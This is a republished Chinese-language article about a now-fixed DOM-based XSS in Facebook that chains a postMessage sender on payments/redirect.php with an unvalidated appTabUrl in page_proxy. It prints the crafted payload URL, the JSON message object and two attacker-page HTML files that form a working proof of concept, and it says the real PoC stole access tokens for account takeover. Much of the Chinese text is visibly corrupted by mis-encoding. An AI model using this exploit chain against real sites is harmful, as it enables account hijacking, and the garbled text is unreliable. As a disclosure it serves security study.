溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何使用postMessage利用Facebook中基于DOM的XSS漏洞

發(fā)布時(shí)間:2021-12-23 09:56:50 來源:億速云 閱讀:335 作者:柒染 欄目:網(wǎng)絡(luò)管理

如何使用postMessage利用Facebook中基于DOM的XSS漏洞,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

概述

我們發(fā)現(xiàn)的第一個(gè)漏洞將允許一名惡意攻擊者從facebook.com域名并通過postMessage來發(fā)送跨域消息。存在漏洞的終端節(jié)點(diǎn)將接收請(qǐng)求參數(shù)中用戶可控制的內(nèi)容,并使用postMessage中的發(fā)送消息來構(gòu)建一個(gè)數(shù)據(jù)對(duì)象,該對(duì)象將與postMessage一起發(fā)送到已打開的窗口。接下來,我們所發(fā)現(xiàn)的第二個(gè)漏洞跟第一個(gè)漏洞有關(guān),攻擊者可以利用這個(gè)漏洞來根據(jù)Eventlistener接收到的表單提交數(shù)據(jù)來構(gòu)造一個(gè)不安全的腳本。

從facebook.com源通過postMessage發(fā)送消息

存在漏洞的節(jié)點(diǎn)為https://www.facebook.com/payments/redirect.php,這個(gè)節(jié)點(diǎn)的響應(yīng)信息可以由各種參數(shù)來控制。我們發(fā)現(xiàn)的其中一個(gè)有意思的參數(shù)為“type”,這個(gè)參數(shù)如果從平時(shí)的“i”改成了“rp”的話,它將會(huì)它將使用postMessage與打開該頁面的窗口通信(如果是“i”,那么它將使用window.parent.paymentsFlows.processIFrame方法)。

如何使用postMessage利用Facebook中基于DOM的XSS漏洞

需要注意的是,目標(biāo)源需要設(shè)置為our.intern.facebook.com?,F(xiàn)在,我們知道postMessage方法僅會(huì)提供給Facebook的員工使用,因?yàn)閛ur.intern.facebook.com這個(gè)域名只有他們才擁有完整的訪問權(quán),如果不是Facebook的員工,則會(huì)被重定向至www.facebook.com。

在這里,我試圖通過訪問另一個(gè)域中的同一個(gè)節(jié)點(diǎn)alpha.facebook.com來繞過這種限制。如果訪問的是our.alpha.facebook.com/payments/redirect.php,它將會(huì)返回到our.alpha.facebook.com,因?yàn)閜ostMessage中的targetOrigin設(shè)置的就是這個(gè)地址。跟our.intern不同的是,our.alpha不會(huì)重定向至www.。這里要注意,our.alpha.facebook.com域名包含的內(nèi)容跟www.facebook.com其實(shí)是一樣的。這樣,我們的消息就可以傳遞到打開的窗口了,因?yàn)閠argetOrigin條件已經(jīng)滿足,并且會(huì)將消息發(fā)送到our.alpha.facebook.com。

現(xiàn)在,我們已經(jīng)知道了我們要找的是包含了EventListeners的頁面,而它只接收消息源為accept facebook.com的消息。

XSS漏洞的發(fā)現(xiàn)和利用

Facebook Canvas應(yīng)用程序托管在apps.facebook.com上,如果你訪問了這個(gè)域名所托管的應(yīng)用程序,你將會(huì)發(fā)現(xiàn)Facebook會(huì)加載一個(gè)iframe中的URL,并向這個(gè)URL地址發(fā)送一個(gè)包含了類似“signed_request”參數(shù)的POST新消息。

通過跟蹤請(qǐng)求源,我發(fā)現(xiàn)這個(gè)頁面同樣加載了iframe中的https://www.facebook.com/platform/page_proxy/?version=X,然后用postMessage向其發(fā)送消息。

page_proxy這個(gè)頁面中包含下列代碼:

如何使用postMessage利用Facebook中基于DOM的XSS漏洞

上述這段代碼主要完成了兩件事情。首先,它會(huì)利用postMessage將帶有frameName的消息發(fā)送到任何源。其次,它將設(shè)置一個(gè)EventListener并等待接收消息。如果收到了一條滿足所有條件的消息,它將在根據(jù)消息中的數(shù)據(jù)設(shè)置其屬性之后提交一個(gè)form表單。

表單構(gòu)造方法submitForm()有趣的地方就在于,這個(gè)表單中的action屬性會(huì)被直接設(shè)置為“a.data.params.appTabUrl”,這個(gè)地址是通過消息來接收的。URL中的“appTabUrl”字符串中的URL沒有檢查是否以http/https開頭,因此我們就可以使用JavaScript來實(shí)現(xiàn)利用XSS漏洞了。

接下來,我們需要再page_proxy腳本中構(gòu)造一個(gè)包含了滿足所有條件的Payload對(duì)象,具體如下所示:

https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″}

漏洞利用

目標(biāo)用戶需要訪問攻擊者托管的惡意網(wǎng)站,該網(wǎng)站頁面中需要包含下列代碼:

<html>

<button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';">

<span class="icon">Start Attack</span>

</button>

</html>

在這里,我們不打算直接重定向到page_proxy節(jié)點(diǎn),因?yàn)槲覀冃枰O(shè)置一個(gè)延時(shí)來確保https://www.facebook.com/platform/page_proxy/的成功加載。

page2.html:

<html>

<script>

setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000);

</script>

</html>

這里我設(shè)置了一個(gè)三秒的延遲,然后重定向到存在漏洞的頁面中,并執(zhí)行alert(1),而我設(shè)置的PoC將會(huì)竊取用戶的訪問令牌,這個(gè)令牌將直接允許我們接管目標(biāo)Facebook賬號(hào)。

漏洞修復(fù)

Faceboos目前已成功修復(fù)了該漏洞,他們直接將支付重定向(/payments/redirect.php)中的postMessage組件移除了,并在appTabUrl中添加了針對(duì)http/https的檢測(cè)。

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI